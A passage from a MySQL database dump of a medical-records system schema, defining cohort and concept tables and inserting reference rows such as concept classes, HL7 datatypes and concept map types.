`description` varchar(1000) DEFAULT NULL, `uuid` char(38) NOT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_program_id`), UNIQUE KEY `uuid` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_program` -- LOCK TABLES `cohort_program` WRITE; /*!40000 ALTER TABLE `cohort_program` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_program` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_role` -- DROP TABLE IF EXISTS `cohort_role`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_role` ( `cohort_role_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `cohortType` int(11) DEFAULT NULL, `uuid` char(38) NOT NULL, `void_reason` varchar(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', PRIMARY KEY (`cohort_role_id`), UNIQUE KEY `uuid` (`uuid`), KEY `cohorttype1_fk` (`cohortType`), CONSTRAINT `cohorttype1_fk` FOREIGN KEY (`cohortType`) REFERENCES `cohort_type` (`cohort_type_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_role` -- LOCK TABLES `cohort_role` WRITE; /*!40000 ALTER TABLE `cohort_role` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_role` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_type` -- DROP TABLE IF EXISTS `cohort_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_type` ( `cohort_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `description` varchar(1000) DEFAULT NULL, `uuid` char(38) NOT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_type_id`), UNIQUE KEY `uuid` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_type` -- LOCK TABLES `cohort_type` WRITE; /*!40000 ALTER TABLE `cohort_type` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_visit` -- DROP TABLE IF EXISTS `cohort_visit`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_visit` ( `cohort_visit_id` int(11) NOT NULL AUTO_INCREMENT, `vcohort` int(11) DEFAULT NULL, `visitType` int(11) DEFAULT NULL, `vlocation` int(11) DEFAULT NULL, `startDate` date DEFAULT NULL, `endDate` date DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_visit_id`), KEY `cohort_module_fk` (`vcohort`), KEY `cohort_location_fk` (`vlocation`), KEY `cohort_visit_fk` (`visitType`), CONSTRAINT `cohort_location_fk` FOREIGN KEY (`vlocation`) REFERENCES `location` (`location_id`), CONSTRAINT `cohort_module_fk` FOREIGN KEY (`vcohort`) REFERENCES `cohort_module` (`cohort_id`), CONSTRAINT `cohort_visit_fk` FOREIGN KEY (`visitType`) REFERENCES `visit_type` (`visit_type_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_visit` -- LOCK TABLES `cohort_visit` WRITE; /*!40000 ALTER TABLE `cohort_visit` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_visit` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept` -- DROP TABLE IF EXISTS `concept`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept` ( `concept_id` int(11) NOT NULL AUTO_INCREMENT, `retired` tinyint(1) NOT NULL DEFAULT '0', `short_name` varchar(255) DEFAULT NULL, `description` text, `form_text` text, `datatype_id` int(11) NOT NULL DEFAULT '0', `class_id` int(11) NOT NULL DEFAULT '0', `is_set` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `version` varchar(50) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_id`), UNIQUE KEY `concept_uuid_index` (`uuid`), KEY `user_who_changed_concept` (`changed_by`), KEY `concept_classes` (`class_id`), KEY `concept_creator` (`creator`), KEY `concept_datatypes` (`datatype_id`), KEY `user_who_retired_concept` (`retired_by`), CONSTRAINT `concept_classes` FOREIGN KEY (`class_id`) REFERENCES `concept_class` (`concept_class_id`), CONSTRAINT `concept_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `concept_datatypes` FOREIGN KEY (`datatype_id`) REFERENCES `concept_datatype` (`concept_datatype_id`), CONSTRAINT `user_who_changed_concept` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_concept` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept` -- LOCK TABLES `concept` WRITE; /*!40000 ALTER TABLE `concept` DISABLE KEYS */; INSERT INTO `concept` VALUES (1,0,'','',NULL,4,11,0,1,'2016-10-27 07:11:48',NULL,NULL,NULL,NULL,NULL,NULL,'cf7d10bd-cded-4c5d-8b8c-94d66834e1f5'),(2,0,'','',NULL,4,11,0,1,'2016-10-27 07:11:48',NULL,NULL,NULL,NULL,NULL,NULL,'5ab147bf-b0cb-421c-944e-077b5a283f6c'); /*!40000 ALTER TABLE `concept` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_answer` -- DROP TABLE IF EXISTS `concept_answer`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_answer` ( `concept_answer_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) NOT NULL DEFAULT '0', `answer_concept` int(11) DEFAULT NULL, `answer_drug` int(11) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `sort_weight` double DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_answer_id`), UNIQUE KEY `concept_answer_uuid_index` (`uuid`), KEY `answer` (`answer_concept`), KEY `answers_for_concept` (`concept_id`), KEY `answer_creator` (`creator`), KEY `answer_answer_drug_fk` (`answer_drug`), CONSTRAINT `answer` FOREIGN KEY (`answer_concept`) REFERENCES `concept` (`concept_id`), CONSTRAINT `answer_answer_drug_fk` FOREIGN KEY (`answer_drug`) REFERENCES `drug` (`drug_id`), CONSTRAINT `answer_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `answers_for_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_answer` -- LOCK TABLES `concept_answer` WRITE; /*!40000 ALTER TABLE `concept_answer` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_answer` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_class` -- DROP TABLE IF EXISTS `concept_class`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_class` ( `concept_class_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_class_id`), UNIQUE KEY `concept_class_uuid_index` (`uuid`), KEY `concept_class_retired_status` (`retired`), KEY `concept_class_creator` (`creator`), KEY `user_who_retired_concept_class` (`retired_by`), KEY `concept_class_name_index` (`name`), CONSTRAINT `concept_class_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_concept_class` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_class` -- LOCK TABLES `concept_class` WRITE; /*!40000 ALTER TABLE `concept_class` DISABLE KEYS */; INSERT INTO `concept_class` VALUES (1,'Test','Acq. during patient encounter (vitals, labs, etc.)',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4907b2-c2cc-11de-8d13-0010c6dffd0f'),(2,'Procedure','Describes a clinical procedure',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d490bf4-c2cc-11de-8d13-0010c6dffd0f'),(3,'Drug','Drug',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d490dfc-c2cc-11de-8d13-0010c6dffd0f'),(4,'Diagnosis','Conclusion drawn through findings',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4918b0-c2cc-11de-8d13-0010c6dffd0f'),(5,'Finding','Practitioner observation/finding',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d491a9a-c2cc-11de-8d13-0010c6dffd0f'),(6,'Anatomy','Anatomic sites / descriptors',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d491c7a-c2cc-11de-8d13-0010c6dffd0f'),(7,'Question','Question (eg, patient history, SF36 items)',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d491e50-c2cc-11de-8d13-0010c6dffd0f'),(8,'LabSet','Term to describe laboratory sets',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d492026-c2cc-11de-8d13-0010c6dffd0f'),(9,'MedSet','Term to describe medication sets',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4923b4-c2cc-11de-8d13-0010c6dffd0f'),(10,'ConvSet','Term to describe convenience sets',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d492594-c2cc-11de-8d13-0010c6dffd0f'),(11,'Misc','Terms which don\'t fit other categories',1,'2004-03-02 00:00:00',0,NULL,NULL,NULL,'8d492774-c2cc-11de-8d13-0010c6dffd0f'),(12,'Symptom','Patient-reported observation',1,'2004-10-04 00:00:00',0,NULL,NULL,NULL,'8d492954-c2cc-11de-8d13-0010c6dffd0f'),(13,'Symptom/Finding','Observation that can be reported from patient or found on exam',1,'2004-10-04 00:00:00',0,NULL,NULL,NULL,'8d492b2a-c2cc-11de-8d13-0010c6dffd0f'),(14,'Specimen','Body or fluid specimen',1,'2004-12-02 00:00:00',0,NULL,NULL,NULL,'8d492d0a-c2cc-11de-8d13-0010c6dffd0f'),(15,'Misc Order','Orderable items which aren\'t tests or drugs',1,'2005-02-17 00:00:00',0,NULL,NULL,NULL,'8d492ee0-c2cc-11de-8d13-0010c6dffd0f'),(16,'Frequency','A class for order frequencies',1,'2014-03-06 00:00:00',0,NULL,NULL,NULL,'8e071bfe-520c-44c0-a89b-538e9129b42a'); /*!40000 ALTER TABLE `concept_class` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_complex` -- DROP TABLE IF EXISTS `concept_complex`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_complex` ( `concept_id` int(11) NOT NULL, `handler` varchar(255) DEFAULT NULL, PRIMARY KEY (`concept_id`), CONSTRAINT `concept_attributes` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_complex` -- LOCK TABLES `concept_complex` WRITE; /*!40000 ALTER TABLE `concept_complex` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_complex` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_datatype` -- DROP TABLE IF EXISTS `concept_datatype`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_datatype` ( `concept_datatype_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `hl7_abbreviation` varchar(3) DEFAULT NULL, `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_datatype_id`), UNIQUE KEY `concept_datatype_uuid_index` (`uuid`), KEY `concept_datatype_retired_status` (`retired`), KEY `concept_datatype_creator` (`creator`), KEY `user_who_retired_concept_datatype` (`retired_by`), KEY `concept_datatype_name_index` (`name`), CONSTRAINT `concept_datatype_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_concept_datatype` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_datatype` -- LOCK TABLES `concept_datatype` WRITE; /*!40000 ALTER TABLE `concept_datatype` DISABLE KEYS */; INSERT INTO `concept_datatype` VALUES (1,'Numeric','NM','Numeric value, including integer or float (e.g., creatinine, weight)',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4a4488-c2cc-11de-8d13-0010c6dffd0f'),(2,'Coded','CWE','Value determined by term dictionary lookup (i.e., term identifier)',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4a48b6-c2cc-11de-8d13-0010c6dffd0f'),(3,'Text','ST','Free text',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4a4ab4-c2cc-11de-8d13-0010c6dffd0f'),(4,'N/A','ZZ','Not associated with a datatype (e.g., term answers, sets)',1,'2004-02-02 00:00:00',0,NULL,NULL,NULL,'8d4a4c94-c2cc-11de-8d13-0010c6dffd0f'),(5,'Document','RP','Pointer to a binary or text-based document (e.g., clinical document, RTF, XML, EKG, image, etc.) stored in complex_obs table',1,'2004-04-15 00:00:00',0,NULL,NULL,NULL,'8d4a4e74-c2cc-11de-8d13-0010c6dffd0f'),(6,'Date','DT','Absolute date',1,'2004-07-22 00:00:00',0,NULL,NULL,NULL,'8d4a505e-c2cc-11de-8d13-0010c6dffd0f'),(7,'Time','TM','Absolute time of day',1,'2004-07-22 00:00:00',0,NULL,NULL,NULL,'8d4a591e-c2cc-11de-8d13-0010c6dffd0f'),(8,'Datetime','TS','Absolute date and time',1,'2004-07-22 00:00:00',0,NULL,NULL,NULL,'8d4a5af4-c2cc-11de-8d13-0010c6dffd0f'),(10,'Boolean','BIT','Boolean value (yes/no, true/false)',1,'2004-08-26 00:00:00',0,NULL,NULL,NULL,'8d4a5cca-c2cc-11de-8d13-0010c6dffd0f'),(11,'Rule','ZZ','Value derived from other data',1,'2006-09-11 00:00:00',0,NULL,NULL,NULL,'8d4a5e96-c2cc-11de-8d13-0010c6dffd0f'),(12,'Structured Numeric','SN','Complex numeric values possible (ie, <5, 1-10, etc.)',1,'2005-08-06 00:00:00',0,NULL,NULL,NULL,'8d4a606c-c2cc-11de-8d13-0010c6dffd0f'),(13,'Complex','ED','Complex value. Analogous to HL7 Embedded Datatype',1,'2008-05-28 12:25:34',0,NULL,NULL,NULL,'8d4a6242-c2cc-11de-8d13-0010c6dffd0f'); /*!40000 ALTER TABLE `concept_datatype` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_description` -- DROP TABLE IF EXISTS `concept_description`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_description` ( `concept_description_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) NOT NULL DEFAULT '0', `description` text NOT NULL, `locale` varchar(50) NOT NULL DEFAULT '', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_description_id`), UNIQUE KEY `concept_description_uuid_index` (`uuid`), KEY `user_who_changed_description` (`changed_by`), KEY `description_for_concept` (`concept_id`), KEY `user_who_created_description` (`creator`), CONSTRAINT `description_for_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `user_who_changed_description` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_created_description` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_description` -- LOCK TABLES `concept_description` WRITE; /*!40000 ALTER TABLE `concept_description` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_description` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_map_type` -- DROP TABLE IF EXISTS `concept_map_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_map_type` ( `concept_map_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `is_hidden` tinyint(1) NOT NULL DEFAULT '0', `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`concept_map_type_id`), UNIQUE KEY `name` (`name`), UNIQUE KEY `uuid` (`uuid`), KEY `mapped_user_creator_concept_map_type` (`creator`), KEY `mapped_user_changed_concept_map_type` (`changed_by`), KEY `mapped_user_retired_concept_map_type` (`retired_by`), CONSTRAINT `mapped_user_changed_concept_map_type` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `mapped_user_creator_concept_map_type` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `mapped_user_retired_concept_map_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=71 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_map_type` -- LOCK TABLES `concept_map_type` WRITE; /*!40000 ALTER TABLE `concept_map_type` DISABLE KEYS */; INSERT INTO `concept_map_type` VALUES (1,'SAME-AS',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'35543629-7d8c-11e1-909d-c80aa9edcf4e'),(2,'NARROWER-THAN',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'43ac5109-7d8c-11e1-909d-c80aa9edcf4e'),(3,'BROADER-THAN',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'4b9d9421-7d8c-11e1-909d-c80aa9edcf4e'),(4,'Associated finding',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'55e02065-7d8c-11e1-909d-c80aa9edcf4e'),(5,'Associated morphology',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'605f4a61-7d8c-11e1-909d-c80aa9edcf4e'),(6,'Associated procedure',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'6eb1bfce-7d8c-11e1-909d-c80aa9edcf4e'),(7,'Associated with',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'781bdc8f-7d8c-11e1-909d-c80aa9edcf4e'),(8,'Causative agent',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'808f9e19-7d8c-11e1-909d-c80aa9edcf4e'),(9,'Finding site',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'889c3013-7d8c-11e1-909d-c80aa9edcf4e'),(10,'Has specimen',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'929600b9-7d8c-11e1-909d-c80aa9edcf4e'),(11,'Laterality',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'999c6fc0-7d8c-11e1-909d-c80aa9edcf4e'),(12,'Severity',NULL,1,'2016-10-27 00:00:00',NULL,NULL,0,0,NULL,NULL,NULL,'a0e52281-7d8c-11e1-909d-c80aa9edcf4e'),(13,'Access',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'f9e90b29-7d8c-11e1-909d-c80aa9edcf4e'),(14,'After',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'01b60e29-7d8d-11e1-909d-c80aa9edcf4e'),(15,'Clinical course',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'5f7c3702-7d8d-11e1-909d-c80aa9edcf4e'),(16,'Component',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'67debecc-7d8d-11e1-909d-c80aa9edcf4e'),(17,'Direct device',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'718c00da-7d8d-11e1-909d-c80aa9edcf4e'),(18,'Direct morphology',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'7b9509cb-7d8d-11e1-909d-c80aa9edcf4e'),(19,'Direct substance',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'82bb495d-7d8d-11e1-909d-c80aa9edcf4e'),(20,'Due to',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'8b77f7d3-7d8d-11e1-909d-c80aa9edcf4e'),(21,'Episodicity',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'94a81179-7d8d-11e1-909d-c80aa9edcf4e'),(22,'Finding context',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'9d23c22e-7d8d-11e1-909d-c80aa9edcf4e'),(23,'Finding informer',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'a4524368-7d8d-11e1-909d-c80aa9edcf4e'),(24,'Finding method',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'af089254-7d8d-11e1-909d-c80aa9edcf4e'),(25,'Has active ingredient',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'b65aa605-7d8d-11e1-909d-c80aa9edcf4e'),(26,'Has definitional manifestation',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'c2b7b2fa-7d8d-11e1-909d-c80aa9edcf4'),(27,'Has dose form',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'cc3878e6-7d8d-11e1-909d-c80aa9edcf4e'),(28,'Has focus',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'d67c5840-7d8d-11e1-909d-c80aa9edcf4e'),(29,'Has intent',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'de2fb2c5-7d8d-11e1-909d-c80aa9edcf4e'),(30,'Has interpretation',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'e758838b-7d8d-11e1-909d-c80aa9edcf4e'),(31,'Indirect device',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'ee63c142-7d8d-11e1-909d-c80aa9edcf4e'),(32,'Indirect morphology',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'f4f36681-7d8d-11e1-909d-c80aa9edcf4e'),(33,'Interprets',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'fc7f5fed-7d8d-11e1-909d-c80aa9edcf4e'),(34,'Measurement method',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'06b11d79-7d8e-11e1-909d-c80aa9edcf4e'),(35,'Method',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'0efb4753-7d8e-11e1-909d-c80aa9edcf4e'),(36,'Occurrence',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'16e7b617-7d8e-11e1-909d-c80aa9edcf4e'),(37,'Part of',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'1e82007b-7d8e-11e1-909d-c80aa9edcf4e'),(38,'Pathological process',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'2969915e-7d8e-11e1-909d-c80aa9edcf4e'),(39,'Priority',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'32d57796-7d8e-11e1-909d-c80aa9edcf4e'),(40,'Procedure context',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'3f11904c-7d8e-11e1-909d-c80aa9edcf4e'),(41,'Procedure device',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'468c4aa3-7d8e-11e1-909d-c80aa9edcf4e'),(42,'Procedure morphology',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'5383e889-7d8e-11e1-909d-c80aa9edcf4e'),(43,'Procedure site',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'5ad2655d-7d8e-11e1-909d-c80aa9edcf4e'),(44,'Procedure site - Direct',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'66085196-7d8e-11e1-909d-c80aa9edcf4e'),(45,'Procedure site - Indirect',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'7080e843-7d8e-11e1-909d-c80aa9edcf4e'),(46,'Property',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'76bfb796-7d8e-11e1-909d-c80aa9edcf4e'),(47,'Recipient category',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'7e7d00e4-7d8e-11e1-909d-c80aa9edcf4e'),(48,'Revision status',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'851e14c1-7d8e-11e1-909d-c80aa9edcf4e'),(49,'Route of administration',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'8ee5b13d-7d8e-11e1-909d-c80aa9edcf4e'),(50,'Scale type',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'986acf48-7d8e-11e1-909d-c80aa9edcf4e'),(51,'Specimen procedure',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'a6937642-7d8e-11e1-909d-c80aa9edcf4e'),(52,'Specimen source identity',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'b1d6941e-7d8e-11e1-909d-c80aa9edcf4e'),(53,'Specimen source morphology',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'b7c793c1-7d8e-11e1-909d-c80aa9edcf4e'),(54,'Specimen source topography',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'be9f9eb8-7d8e-11e1-909d-c80aa9edcf4e'),(55,'Specimen substance',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'c8f2bacb-7d8e-11e1-909d-c80aa9edcf4e'),(56,'Subject of information',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'d0664c4f-7d8e-11e1-909d-c80aa9edcf4e'),(57,'Subject relationship context',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'dace9d13-7d8e-11e1-909d-c80aa9edcf4e'),(58,'Surgical approach',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'e3cd666d-7d8e-11e1-909d-c80aa9edcf4e'),(59,'Temporal context',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'ed96447d-7d8e-11e1-909d-c80aa9edcf4e'),(60,'Time aspect',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'f415bcce-7d8e-11e1-909d-c80aa9edcf4e'),(61,'Using access device',NULL,1,'2016-10-27 